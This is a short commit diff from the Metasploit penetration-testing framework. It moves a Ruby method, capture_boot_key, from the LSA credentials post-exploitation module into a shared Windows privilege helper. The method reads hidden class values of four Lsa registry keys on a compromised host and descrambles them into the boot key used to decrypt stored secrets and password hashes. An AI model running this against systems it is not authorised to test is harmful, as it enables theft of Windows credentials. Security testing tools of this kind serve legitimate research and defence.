move capture_boot_key to post win priv

lib/msf/core/post/windows/priv.rb

@@ -84,4 +84,29 @@ module Msf::Post::Windows::Priv
     end
   end
 
+  #
+  # Returns the unscrambled bootkey
+  #
+  def capture_boot_key
+    bootkey = ""
+    basekey = "System\\CurrentControlSet\\Control\\Lsa"
+
+    %W{JD Skew1 GBG Data}.each do |k|
+      ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
+      return nil if not ok
+      bootkey << [ok.query_class.to_i(16)].pack("V")
+      ok.close
+    end
+
+    keybytes = bootkey.unpack("C*")
+    descrambled = ""
+    descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
+
+    0.upto(keybytes.length-1) do |x|
+      descrambled << [keybytes[descrambler[x]]].pack("C")
+    end
+
+    return descrambled
+  end
+
 end

modules/post/windows/gather/credentials/lsa.rb

@@ -29,27 +29,6 @@ class Metasploit3 < Msf::Post
       'Author'          => ['Rob Bathurst <rob.bathurst@foundstone.com>']
     ))
   end
-  def capture_boot_key
-    bootkey = ""
-    basekey = "System\\CurrentControlSet\\Control\\Lsa"
-
-    %W{JD Skew1 GBG Data}.each do |k|
-      ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
-      return nil if not ok
-      bootkey << [ok.query_class.to_i(16)].pack("V")
-      ok.close
-    end
-
-    keybytes = bootkey.unpack("C*")
-    descrambled = ""
-    descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
-
-    0.upto(keybytes.length-1) do |x|
-      descrambled << [keybytes[descrambler[x]]].pack("C")
-    end
-
-    return descrambled
-  end
 
   def capture_lsa_key(bootkey)
     begin